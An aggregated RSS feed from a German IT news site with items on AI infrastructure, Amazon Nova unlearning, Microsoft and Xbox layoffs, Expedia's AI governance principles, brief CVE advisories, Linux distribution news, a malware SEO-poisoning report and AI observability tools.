<p>CIOs will need to collaborate more closely with facilities, operations and sustainability teams. Infrastructure decisions can no longer be isolated within IT departments when power, cooling and water availability directly affect deployment feasibility. Most importantly, organizations may need to rethink what infrastructure optimization means.</p>



<p>For years, the industry prioritised maximum performance and rapid refresh cycles. The next phase will require balancing performance against availability, efficiency and long-term sustainability.</p>



<p>The AI era is introducing extraordinary opportunities for innovation, but it is also exposing the physical limits of the infrastructure ecosystem supporting it. The organizations that adapt most effectively will be those that recognise infrastructure resilience is no longer just a procurement issue; it is a strategic operational capability.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Teaching models to forget: Selective unlearning with Amazon Nova]]></title>
<description><![CDATA[In this post, we introduce Reverse Direct Preference Optimization (rDPO), the novel unlearning technique behind Amazon Nova Customizable Content Moderation Settings (CCMS), and show how it reduces over-deflection while preserving model quality. We also provide pointers for customers who want to a...]]></description>
<link>https://tsecurity.de/de/3650040/ai-nachrichten/teaching-models-to-forget-selective-unlearning-with-amazon-nova/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3650040/ai-nachrichten/teaching-models-to-forget-selective-unlearning-with-amazon-nova/</guid>
<pubDate>Tue, 07 Jul 2026 00:33:41 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In this post, we introduce Reverse Direct Preference Optimization (rDPO), the novel unlearning technique behind Amazon Nova Customizable Content Moderation Settings (CCMS), and show how it reduces over-deflection while preserving model quality. We also provide pointers for customers who want to apply these preference optimization techniques to their own experiments.]]></content:encoded>
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<title><![CDATA[Microsoft Lays Off Nearly 5,000 Employees Across Xbox, Commercial Sales]]></title>
<description><![CDATA[Microsoft is laying off about 4,800 employees, including 1,600 from Xbox, as it restructures around AI investments and tries to reset its struggling gaming business. "Our business is changing because the world around it is changing. The way technology is built, deployed, and used is transforming ...]]></description>
<link>https://tsecurity.de/de/3649620/it-security-nachrichten/microsoft-lays-off-nearly-5000-employees-across-xbox-commercial-sales/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3649620/it-security-nachrichten/microsoft-lays-off-nearly-5000-employees-across-xbox-commercial-sales/</guid>
<pubDate>Mon, 06 Jul 2026 20:35:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Microsoft is laying off about 4,800 employees, including 1,600 from Xbox, as it restructures around AI investments and tries to reset its struggling gaming business. "Our business is changing because the world around it is changing. The way technology is built, deployed, and used is transforming faster than at any point in my time here," said Amy Coleman, EVP and chief people officer at Microsoft. "Our customers' needs are shifting, the business models that serve them are shifting, and that means the work itself -- what we do, where we focus, and how we're organized -- has to transform too." She continued: "Companies don't get to choose whether their industry changes; they only get to choose whether they change with it. That means we will need to adjust resources and roles and shift how we operate so we can have the greatest impact for our customers." TechCrunch reports: Coleman stressed that the roles being eliminated today "are not being replaced by AI," but noted, "what is true is that AI is changing how work gets done." "Some of the tasks we do every day can now be automated, and that means we all need to keep learning, keep building new skills, and keep adapting as the work evolves," Coleman wrote. [...] Speaking about the Xbox layoffs, Coleman said little: "We are restructuring to position the business for long-term success. Engineering teams across the company will also evolve their structure and priorities to meet customer needs and innovate for the future."
 
Of today's 4,800 layoffs at Microsoft, 1,600 will hit Xbox, with about 3,200 cuts in total expected through fiscal year 2027, according to Asha Sharma, CEO of Xbox. In an email she sent to employees on Monday, Sharma called this "the most significant restructure in Xbox history." "Our business today is not healthy," Sharma wrote. "We are operating at margins that are 3-10x lower than comparable platform and publishing businesses." She added that Xbox made bets like its monthly subscription service Game Pass, alongside moves to grow its portfolio of content and invest in multi-platform, among other attempts to breathe life into the business. None of those strategies grew at the expected pace, leading to the core business weakening even as Xbox added more teams and investment. "And now the industry is facing the most severe hardware crisis in its history," Sharma said. "We must reset Xbox."
 
As part of the shift, Microsoft will transition four of its gaming studios to operate under new management, ensuring preservation of intellectual property and ongoing projects. Specifically Compulsion Games and Double Fine Productions will return to independent studios, according to Sharma. Ninja Theory and Undead Labs are coming under new ownership with funding to complete and grow some of their more popular games. According to Sharma's memo, Xbox is also flattening management hard, cutting the current 14 management layers to no more than five, but ideally three. As part of this major organization redesign, Xbox is making longtime executive Helen Chiang chief operating officer with end-to-end profit and loss authority across content, hardware, platform, and services. Xbox's restructuring plan centers around narrowing focus by dropping sprawling creative bets that don't produce platform-scale returns, and instead homing in on core strategic pillars like Mojang and King, the businesses behind Minecraft and Candy Crush.<p></p><div class="share_submission">
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</div><p><a href="https://games.slashdot.org/story/26/07/06/1827209/microsoft-lays-off-nearly-5000-employees-across-xbox-commercial-sales?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA["Mojang ... will now report directly to me": Xbox CEO takes direct control of Minecraft to better compete with Roblox as Microsoft's huge gaming cuts hit]]></title>
<description><![CDATA[As Microsoft's mass Xbox layoffs come down, Xbox CEO Asha Sharma assumes direct oversight over Minecraft, Candy Crush, and its development teams.]]></description>
<link>https://tsecurity.de/de/3649463/windows-tipps/mojang-will-now-report-directly-to-me-xbox-ceo-takes-direct-control-of-minecraft-to-better-compete-with-roblox-as-microsofts-huge-gaming-cuts-hit/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3649463/windows-tipps/mojang-will-now-report-directly-to-me-xbox-ceo-takes-direct-control-of-minecraft-to-better-compete-with-roblox-as-microsofts-huge-gaming-cuts-hit/</guid>
<pubDate>Mon, 06 Jul 2026 19:09:38 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[As Microsoft's mass Xbox layoffs come down, Xbox CEO Asha Sharma assumes direct oversight over Minecraft, Candy Crush, and its development teams.]]></content:encoded>
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<title><![CDATA[What billions of AI predictions taught Expedia before the age of AI agents]]></title>
<description><![CDATA[There's an important distinction between AI that just works today, and AI that lasts at scale. Many companies optimize hard for the first one without ever asking whether they're building the second.Velocity without discipline and strategic direction is a liability, not an asset. The hardest part ...]]></description>
<link>https://tsecurity.de/de/3649313/it-nachrichten/what-billions-of-ai-predictions-taught-expedia-before-the-age-of-ai-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3649313/it-nachrichten/what-billions-of-ai-predictions-taught-expedia-before-the-age-of-ai-agents/</guid>
<pubDate>Mon, 06 Jul 2026 18:20:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>There's an important distinction between AI that just works today, and AI that lasts at scale. Many companies optimize hard for the first one without ever asking whether they're building the second.</p><p>Velocity without discipline and strategic direction is a liability, not an asset. The hardest part of building AI at scale isn't getting a model to work once. It's building systems that continue to work, scale beyond individual teams and use cases, and improve consistently over time.</p><p>Today's AI systems do more than just predict and optimize. They converse, reason, and increasingly take action. An autonomous system making decisions on a traveler's behalf creates a very different set of expectations around reliability, governance, and accountability. As AI takes on more of those roles, the principles behind how these systems operate matter more than ever.</p><p>We have spent years applying AI and machine learning (ML) across the traveler journey — from personalization, ranking, and recommendations, to fraud prevention, customer support, and, more recently, generative and agentic AI experiences. That depth of experience is what led us to develop a set of ML and AI principles to guide how we build, deploy, and evolve AI systems across our company.</p><p>The goal is simple: Make sure the systems we build create real business value, scale, and operate safely. These principles define how we measure, design, govern, and operate our systems.</p><h2><b>From principles to practice</b></h2><p>Publishing principles is the easy part. The harder and more important work is turning them into operating mechanisms: Recommendations, requirements, tooling, and release processes that teams actually use. </p><p>We have begun using 'Agentic Release' tollgates: A set of recommended and, in some cases, required checks before launching agentic AI features. These tollgates translate principles like clear ownership, risk-based governance, evaluation, safe rollout, and monitoring into concrete expectations for teams. </p><p>Some of these recommendations and requirements are already being automated and integrated into the software development lifecycle (SDLC). Over time, the goal is for these expectations to become embedded in how we design, evaluate, approve, launch, and monitor AI systems from the start.</p><h2><b>Outcomes: Measuring what actually matters</b></h2><p>The first test for any model is whether it improves a business outcome and, ultimately, the traveler experience — not whether it just improves a technical metric. </p><ol><li><p><b>Align models to metrics with business impact: </b>Every ML effort must tie directly to a key business outcome or traveler experience metric. Technical optimizations are useful midpoints, not end goals<b>.</b></p></li><li><p><b>Optimize for return on cost</b>: The value a model creates has to justify what it costs to develop, train, and monitor, plus the operational complexity it adds. Favor solutions that deliver lasting impact relative to what they cost to run.</p></li><li><p><b>Justify complexity against strong baselines: </b>Complexity should be earned, not assumed. Start with a strong baseline: An existing general model, a simple heuristic, an off-the-shelf solution. Reach for specialized models or more complex architectures only when simpler options genuinely can't meet the bar.</p></li><li><p><b>Require both offline and online evaluation</b>: No model goes to broad deployment on offline validation alone or jumps straight to A/B testing. Every model must perform in both offline and online evaluations. Over time, our offline evaluations should reliably predict what we see online.</p></li></ol><h2><b>Design: building systems that scale beyond the teams that build them</b></h2><p>Getting a model to work is one challenge. Making its value extend beyond a single team or use case is the harder one.</p><ol><li><p><b>Build on shared foundations; specialize only when justified:</b> Favor shared, platform-wide foundations for core capabilities, data representations, and model building blocks. Specialization should build on those foundations, not spin up isolated stacks, so when the foundation improves, the gains flow across the organization.</p></li><li><p><b>Treat data as a first-class product</b>: A model's quality is bounded by the quality of its data. We need to maintain robust pipelines, clear lineage, reproducibility, and reusable features built with documented ownership, clear schemas, and SLAs that other teams can rely on.</p></li><li><p><b>Prioritize generality over local optimization</b>: When two approaches perform similarly, favor the one whose learnings, assets, and operating patterns can be reused across teams, brands, and use cases. We should optimize not just for local performance, but for how quickly improvements can diffuse across the company and compound over time. </p></li><li><p><b>Minimize and sunset manual business rules: </b>Manual rules are sometimes necessary for policy, safety, or compliance, but they should be explicit and reviewed regularly, never silent patches for weak models or a source of permanent maintenance debt.</p></li><li><p><b>Reproducibility and traceability by default</b>: Training data, features, configurations, evaluation results, deployment versions, and key decisions should all be documented and recoverable. That's what lets you debug a production issue months later and hand off ownership without losing institutional knowledge.</p></li></ol><h2><b>Trust: ownership, governance, and operating responsibly at scale</b></h2><p>The bar for deploying AI isn't just "does it work?" It's "can we stand behind it?" Trust isn't something you add at the end; it's earned over time and maintained across the full lifecycle of every model we ship.</p><ol><li><p><b>Assign clear ownership and accountability:</b> Every model needs defined ownership across its lifecycle — a business owner, a product owner, an AI owner, and an operational owner. These don't need to be four people, but the responsibilities must be explicit. Who's accountable for outcomes? Who responds if the model drifts? Who answers the incident at 2 a.m.? Without this in place, models become orphaned and problems surface with no one to own them.</p></li><li><p><b>Adhere to standards and governance:</b> AI and ML models must use approved platforms and comply with established company standards, release gates, and governance processes. Operating outside these guardrails requires a clear, defined path to remediation or deprecation, rather than an open-ended exception. </p></li><li><p><b>Govern proportionally to risk</b>: The level of review, evaluation rigor, and human oversight should scale with a model's impact. A customer-facing model that affects pricing or availability for millions of travelers demands a far higher bar than an internal tool used by a small team. For high-impact, safety-sensitive, or highly autonomous systems, human-in-the-loop checkpoints are built in from the start. </p></li><li><p><b>Design for fairness, privacy, and transparency</b>: We actively test for unintended bias, have strong data guardrails, and favor explainability when decisions meaningfully affect users. These are incorporated from the start, not added on.</p></li><li><p><b>Design for safe rollout, rollback, and control</b>: Deployments are progressive, with rollback paths, fallback mechanisms, and circuit breakers ready before launch. The ability to safely undo a deployment matters as much as the ability to ship it.</p></li><li><p><b>Monitor continuously and adapt:</b> Once live, teams must actively monitor quality, drift, latency, cost, and business performance and retrain or recalibrate when the data shifts. A team should always be able to explain how its model is performing now, not just how it performed when it launched.</p></li></ol><p>These principles do more than define how we build. They define what we're willing to ship and how we stand behind it. In a world where AI systems are increasingly consequential and make real decisions for real travelers and partners, these standards matter. Applied consistently, they build responsible AI that lasts.</p><p><i>Xavi Amatriain is Chief AI and Data Officer at Expedia Group</i></p><p><i>Xavier will share more details about Expedia's architecture during his session at </i><a href="https://venturebeat.com/vbtransform2026/agenda"><i>VB Transform</i></a><i> on July 14 at 11:10 am PT. He will discuss: "Expedia's blueprint for building autonomous agents for high-stakes transactional systems." </i></p><p><i>Interested in attending VB Transform 2026? Register </i><a href="https://web.cvent.com/event/27401f5a-f49e-46fc-90a3-eee31c2a4818/register"><i><u>here</u></i></a><i>. A select number of complimentary passes are also available to senior technology leaders. </i><a href="mailto:events@venturebeat.com"><i><u>Contact us </u></i></a><i>to get yours.</i></p>]]></content:encoded>
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<title><![CDATA[CVE-2021-36450 | Verint Workforce Optimization 15.2.8.10048 Parameter control/my_notifications NEWUINAV cross site scripting]]></title>
<description><![CDATA[A vulnerability labeled as problematic has been found in Verint Workforce Optimization 15.2.8.10048. This impacts an unknown function of the file control/my_notifications of the component Parameter Handler. Executing a manipulation of the argument NEWUINAV can lead to cross site scripting.

This ...]]></description>
<link>https://tsecurity.de/de/3647349/sicherheitsluecken/cve-2021-36450-verint-workforce-optimization-152810048-parameter-controlmynotifications-newuinav-cross-site-scripting/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3647349/sicherheitsluecken/cve-2021-36450-verint-workforce-optimization-152810048-parameter-controlmynotifications-newuinav-cross-site-scripting/</guid>
<pubDate>Sun, 05 Jul 2026 23:53:30 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability labeled as <a href="https://vuldb.com/kb/risk">problematic</a> has been found in <a href="https://vuldb.com/product/verint:workforce_optimization">Verint Workforce Optimization 15.2.8.10048</a>. This impacts an unknown function of the file <em>control/my_notifications</em> of the component <em>Parameter Handler</em>. Executing a manipulation of the argument <em>NEWUINAV</em> can lead to cross site scripting.

This vulnerability is handled as <a href="https://vuldb.com/cve/CVE-2021-36450">CVE-2021-36450</a>. The attack can be executed remotely. There is not any exploit available.]]></content:encoded>
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<title><![CDATA[Why do people choose CachyOS or Bazzite over Fedora?]]></title>
<description><![CDATA[I've been using Fedora Workstation (GNOME) as my daily driver for about a year. I use it for programming, web development, everyday tasks, and gaming. Overall, Fedora has been excellent. It's stable, secure (SELinux, Flatpak), updates are smooth, and installing the NVIDIA drivers was straightforw...]]></description>
<link>https://tsecurity.de/de/3646102/linux-tipps/why-do-people-choose-cachyos-or-bazzite-over-fedora/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3646102/linux-tipps/why-do-people-choose-cachyos-or-bazzite-over-fedora/</guid>
<pubDate>Sun, 05 Jul 2026 04:09:33 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I've been using <strong>Fedora Workstation (GNOME)</strong> as my daily driver for about a year. I use it for programming, web development, everyday tasks, and gaming.</p> <p>Overall, Fedora has been excellent. It's stable, secure (SELinux, Flatpak), updates are smooth, and installing the NVIDIA drivers was straightforward. It has never crashed on me unless I broke something myself.</p> <p>The only issues I've experienced are mostly related to gaming and NVIDIA:</p> <ul> <li>Some Tauri/WebKit apps won't launch correctly when using the dedicated GPU.</li> <li>The official Minecraft launcher doesn't work for me, so I use Modrinth.</li> <li>Some Steam games have issues (e.g. long loading screens or lower performance than on Windows).</li> <li>World of Tanks, for example, runs significantly worse than it does on Windows.</li> </ul> <p>This makes me wonder:</p> <ul> <li>Why do so many people recommend <strong>CachyOS</strong> or <strong>Bazzite</strong> over Fedora?</li> <li>What do they actually do differently?</li> <li>Do they really improve gaming performance and compatibility, or is the difference minor?</li> <li>Are they just as stable and secure as Fedora?</li> <li>Do they solve NVIDIA/Wayland-related issues better?</li> </ul> <p>I'm not interested in Ubuntu, so I'm mainly comparing <strong>Fedora</strong>, <strong>CachyOS</strong>, and <strong>Bazzite</strong>.</p> <p>I'd love to hear from people who have used more than one of these distributions. What made you switch, and was it worth it?</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/TraditionalSorbet381"> /u/TraditionalSorbet381 </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1umnm6x/why_do_people_choose_cachyos_or_bazzite_over/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1umnm6x/why_do_people_choose_cachyos_or_bazzite_over/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[CVE-2020-23446 | Verint Workforce Optimization 15.1 API information disclosure]]></title>
<description><![CDATA[A vulnerability was found in Verint Workforce Optimization 15.1. It has been rated as problematic. Affected is an unknown function of the component API. Performing a manipulation results in information disclosure.

This vulnerability is identified as CVE-2020-23446. The attack can be initiated re...]]></description>
<link>https://tsecurity.de/de/3646033/sicherheitsluecken/cve-2020-23446-verint-workforce-optimization-151-api-information-disclosure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3646033/sicherheitsluecken/cve-2020-23446-verint-workforce-optimization-151-api-information-disclosure/</guid>
<pubDate>Sun, 05 Jul 2026 02:39:06 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/verint:workforce_optimization">Verint Workforce Optimization 15.1</a>. It has been rated as <a href="https://vuldb.com/kb/risk">problematic</a>. Affected is an unknown function of the component <em>API</em>. Performing a manipulation results in information disclosure.

This vulnerability is identified as <a href="https://vuldb.com/cve/CVE-2020-23446">CVE-2020-23446</a>. The attack can be initiated remotely. There is not any exploit available.]]></content:encoded>
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<title><![CDATA[PorteuX 2.6 Released with Linux 6.19, TLP Support, and Smarter Hardware Optimization]]></title>
<description><![CDATA[by George Whittaker
      
            The PorteuX project has officially released PorteuX 2.6, bringing a new round of updates to the lightweight Slackware-based Linux distribution. Designed to be fast, portable, modular, and immutable, PorteuX continues to appeal to users who want a complete de...]]></description>
<link>https://tsecurity.de/de/3644630/unix-server/porteux-26-released-with-linux-619-tlp-support-and-smarter-hardware-optimization/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3644630/unix-server/porteux-26-released-with-linux-619-tlp-support-and-smarter-hardware-optimization/</guid>
<pubDate>Sat, 04 Jul 2026 04:01:08 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div data-history-node-id="1341441" class="layout layout--onecol">
    <div class="layout__region layout__region--content">
      
            <div class="field field--name-field-node-image field--type-image field--label-hidden field--item">  <img loading="lazy" src="https://www.linuxjournal.com/sites/default/files/nodeimage/story/porteux-2-6-released-with-linux-6-19-tlp-support-and-smarter-hardware-optimization.jpg" width="850" height="500" alt="PorteuX 2.6 Released with Linux 6.19, TLP Support, and Smarter Hardware Optimization" typeof="foaf:Image" class="img-responsive"></div>
      
            <div class="field field--name-node-author field--type-ds field--label-hidden field--item">by <a title="View user profile." href="https://www.linuxjournal.com/users/george-whittaker" lang="" about="https://www.linuxjournal.com/users/george-whittaker" typeof="schema:Person" property="schema:name" datatype="" xml:lang="">George Whittaker</a></div>
      
            <div class="field field--name-body field--type-text-with-summary field--label-hidden field--item"><p>The PorteuX project has officially released <strong>PorteuX 2.6</strong>, bringing a new round of updates to the lightweight Slackware-based Linux distribution. Designed to be fast, portable, modular, and immutable, PorteuX continues to appeal to users who want a complete desktop operating system that can run efficiently from a USB drive or other removable media. The latest release introduces a newer Linux kernel, improved power management, updated desktop environments, and numerous performance and usability improvements.</p>

<p>Released just two months after PorteuX 2.5, version 2.6 focuses on refining the user experience while maintaining the distribution's minimalist philosophy.</p>

<h2><strong>Powered by Linux Kernel 6.19</strong></h2>

<p>At the heart of PorteuX 2.6 is the <strong>Linux 6.19 kernel series</strong>, bringing improved hardware compatibility, updated drivers, security fixes, and better support for modern processors and peripherals.</p>

<p>The updated kernel helps ensure smoother operation on both newer desktop hardware and laptops while continuing PorteuX's emphasis on speed and low resource usage.</p>

<h2><strong>Better Battery Life with TLP Support</strong></h2>

<p>One of the headline features in PorteuX 2.6 is <strong>support for TLP</strong>, the popular command-line utility used to optimize laptop battery life.</p>

<p>Available through the PorteuX AppStore, TLP automatically adjusts various power-saving settings, including CPU behavior and device power management, helping extend battery life without requiring constant manual tuning.</p>

<p>For laptop users, this addition makes PorteuX an even more attractive lightweight operating system.</p>

<h2><strong>Automatic CPU Microcode Loading</strong></h2>

<p>The release also introduces <strong>automatic loading of Intel and AMD CPU microcode</strong> when booting in non-fresh modes.</p>

<p>Microcode updates help address processor bugs, improve stability, and deliver security fixes directly from CPU manufacturers. Automating this process reduces the need for manual configuration while ensuring supported systems benefit from the latest firmware improvements.</p>

<h2><strong>Updated Desktop Environments</strong></h2>

<p>PorteuX continues to offer multiple desktop editions, each updated to recent upstream releases.</p>

<p>Version 2.6 includes:</p>

<ul><li>GNOME 49.4</li>
	<li>KDE Plasma 6.5.5</li>
	<li>Xfce 4.20</li>
	<li>Cinnamon 6.6</li>
	<li>LXQt 2.3</li>
	<li>MATE 1.28.2</li>
	<li>COSMIC 1.0.8</li>
	<li>LXDE 0.11.1</li>
</ul><p>This broad selection allows users to choose between modern feature-rich desktops and extremely lightweight environments depending on their hardware and workflow.</p>

<h2><strong>Performance Improvements Throughout the System</strong></h2>

<p>Although PorteuX has always emphasized performance, version 2.6 introduces additional optimizations behind the scenes.</p>

<p>Developers report improvements including:</p></div>
      
            <div class="field field--name-node-link field--type-ds field--label-hidden field--item">  <a href="https://www.linuxjournal.com/content/porteux-26-released-linux-619-tlp-support-and-smarter-hardware-optimization" hreflang="en">Go to Full Article</a>
</div>
      
    </div>
  </div>]]></content:encoded>
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<title><![CDATA[Minecraft-Server illegal? Stop-Killing-Games gerät unter Beschuss - DailyGame]]></title>
<description><![CDATA[Schließlich stellt Mojang beziehungsweise Microsoft seit Jahren offizielle Server-Software zur Verfügung, mit der Spieler eigene Welten hosten können.]]></description>
<link>https://tsecurity.de/de/3644074/windows-server/minecraft-server-illegal-stop-killing-games-geraet-unter-beschuss-dailygame/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3644074/windows-server/minecraft-server-illegal-stop-killing-games-geraet-unter-beschuss-dailygame/</guid>
<pubDate>Fri, 03 Jul 2026 18:47:12 +0200</pubDate>
<category>🪟 Windows Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Schließlich stellt Mojang beziehungsweise Microsoft seit Jahren offizielle <b>Server</b>-Software zur Verfügung, mit der Spieler eigene Welten hosten können.]]></content:encoded>
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<title><![CDATA[Minecraft Bedrock just got a huge accessibility upgrade with closed captions: Here's everything you need to know]]></title>
<description><![CDATA[Minecraft Bedrock Edition has finally received closed captions, bringing a long-requested accessibility feature previously exclusive to Java Edition. Here's how to enable it, how it works, and why it's an important step forward for accessibility.]]></description>
<link>https://tsecurity.de/de/3644020/windows-tipps/minecraft-bedrock-just-got-a-huge-accessibility-upgrade-with-closed-captions-heres-everything-you-need-to-know/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3644020/windows-tipps/minecraft-bedrock-just-got-a-huge-accessibility-upgrade-with-closed-captions-heres-everything-you-need-to-know/</guid>
<pubDate>Fri, 03 Jul 2026 18:32:04 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Minecraft Bedrock Edition has finally received closed captions, bringing a long-requested accessibility feature previously exclusive to Java Edition. Here's how to enable it, how it works, and why it's an important step forward for accessibility.]]></content:encoded>
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<title><![CDATA[[$] Limiting negative dentries]]></title>
<description><![CDATA[A number of problems related to negative directory entries (dentries) were
the topic of a filesystem-track session at
the 2026 Linux Storage,
Filesystem, Memory Management, and BPF Summit.  Negative dentries are
used to indicate that a file of a given name does not exist in a directory;
it is an ...]]></description>
<link>https://tsecurity.de/de/3643795/linux-tipps/limiting-negative-dentries/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3643795/linux-tipps/limiting-negative-dentries/</guid>
<pubDate>Fri, 03 Jul 2026 16:24:57 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A number of problems related to negative directory entries (dentries) were
the topic of a filesystem-track session at
the 2026 <a href="https://events.linuxfoundation.org/lsfmmbpf/">Linux Storage,
Filesystem, Memory Management, and BPF Summit</a>.  Negative dentries are
used to indicate that a file of a given name does not exist in a directory;
it is an optimization that short-circuits the lookup of the file name when
the answer is already known.

Miklos Szeredi led a
session that discussed
some problems that come from having too many negative dentries for a
directory.]]></content:encoded>
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<title><![CDATA[Minecraft und Co.: Spiele-Lobby nennt private Server illegale Piraterie]]></title>
<description><![CDATA[In Kalifornien ist ein Gesetzentwurf zur Spieleerhaltung vorerst gescheitert. Die Kampagne Stop Killing Games wollte Publisher zwingen, Offline-Modi nach Serverabschaltungen anzubieten. Die Lobbygruppe ESA blockierte das Vorhaben jedoch erfolgreich.			(Weiter lesen)]]></description>
<link>https://tsecurity.de/de/3641703/it-security-nachrichten/minecraft-und-co-spiele-lobby-nennt-private-server-illegale-piraterie/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3641703/it-security-nachrichten/minecraft-und-co-spiele-lobby-nennt-private-server-illegale-piraterie/</guid>
<pubDate>Thu, 02 Jul 2026 18:25:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://winfuture.de/news,159733.html"><img hspace="5" border="0" align="left" alt="Gaming, Petition, Stop Killing Games" width="1920" height="1080" src="https://i.wfcdn.de/teaser/1920/84079.png"></a>
			In Kalifornien ist ein Gesetzentwurf zur Spieleerhaltung vorerst gescheitert. Die Kampagne Stop Killing Games wollte Publisher zwingen, Offline-Modi nach Serverabschaltungen anzubieten. Die Lobbygruppe ESA blockierte das Vorhaben jedoch erfolgreich.			(<a href="https://winfuture.de/news,159733.html">Weiter lesen</a>)]]></content:encoded>
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<title><![CDATA[ScreenConnect Malware Campaign Uses SEO Poisoning to Target Freeware Downloads]]></title>
<description><![CDATA[Cybersecurity researchers at Kaspersky have uncovered a massive, multi-language malware campaign that exploits the legitimate remote administration tool ScreenConnect. The threat actors employ sophisticated search engine optimization (SEO) poisoning to push malicious websites to the top of Google...]]></description>
<link>https://tsecurity.de/de/3640867/it-security-nachrichten/screenconnect-malware-campaign-uses-seo-poisoning-to-target-freeware-downloads/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3640867/it-security-nachrichten/screenconnect-malware-campaign-uses-seo-poisoning-to-target-freeware-downloads/</guid>
<pubDate>Thu, 02 Jul 2026 13:05:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Cybersecurity researchers at Kaspersky have uncovered a massive, multi-language malware campaign that exploits the legitimate remote administration tool ScreenConnect. The threat actors employ sophisticated search engine optimization (SEO) poisoning to push malicious websites to the top of Google and Bing search results, tricking users into downloading what appears to be legitimate freeware. This highly coordinated […]</p>
<p>The post <a href="https://cyberpress.org/seo-poisoning-spreads-screenconnect/">ScreenConnect Malware Campaign Uses SEO Poisoning to Target Freeware Downloads</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[What do AI observability tools actually do?]]></title>
<description><![CDATA[As organizations rush to move AI into production, they’re finding that the tools they rely on to monitor traditional software don’t translate cleanly to AI systems. The reason is fundamental: AI doesn’t fail as software does. It doesn’t throw clean error codes or follow predictable execution path...]]></description>
<link>https://tsecurity.de/de/3640600/ai-nachrichten/what-do-ai-observability-tools-actually-do/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3640600/ai-nachrichten/what-do-ai-observability-tools-actually-do/</guid>
<pubDate>Thu, 02 Jul 2026 11:04:36 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>As organizations rush to move AI into production, they’re finding that the tools they rely on to monitor traditional software don’t translate cleanly to AI systems. The reason is fundamental: AI doesn’t fail as software does. It doesn’t throw clean error codes or follow predictable execution paths. It drifts, hallucinates, and degrades in ways that are often subtle, intermittent, and hard to reproduce.</p>



<p>The result is a growing gap between what teams think observability should provide and what current tools actually deliver. The uncomfortable truth? The AI observability tools we have today are built for yesterday’s problems.</p>



<p>To understand where the industry is headed, we need to look at where it is today and why that’s not enough.</p>



<h2 class="wp-block-heading">AI observability today: The era of evals</h2>



<p>Today’s AI observability landscape is dominated by one concept: evaluation.</p>



<p>Most tools focus on scoring model outputs after the fact. They rely on test datasets, human graders, or, increasingly, “LLM-as-a-judge” approaches to determine whether a system is behaving correctly. These evaluation pipelines are useful and can provide a baseline for model quality, helping teams benchmark improvements.</p>



<p>But they do share a critical limitation. They’re static, offline, and backward-looking.</p>



<p>Evaluations tell you how a model performed on a predefined set of inputs. But they don’t tell you what’s happening in production, where inputs are unpredictable and context can shift. You need to capture long-running interactions, multi-step workflows, and the behavior of systems composed of multiple models and tools as a part of your evals.</p>



<p>Even when teams use human-in-the-loop feedback, it can be tough to scale. High-quality feedback requires domain expertise, consistency, and time, each of which is in short supply in most engineering organizations. You also need deep knowledge of the models themselves and how they’re working in production to help identify and provide feedback around the source of the error. Was it a lack of context? A bad <a href="https://www.infoworld.com/article/2335814/what-is-retrieval-augmented-generation-more-accurate-and-reliable-llms.html" data-type="link" data-id="https://www.infoworld.com/article/2335814/what-is-retrieval-augmented-generation-more-accurate-and-reliable-llms.html">retrieval-augmented generation</a> (RAG) implementation? The model itself? Or bad feedback poisoning the results?</p>



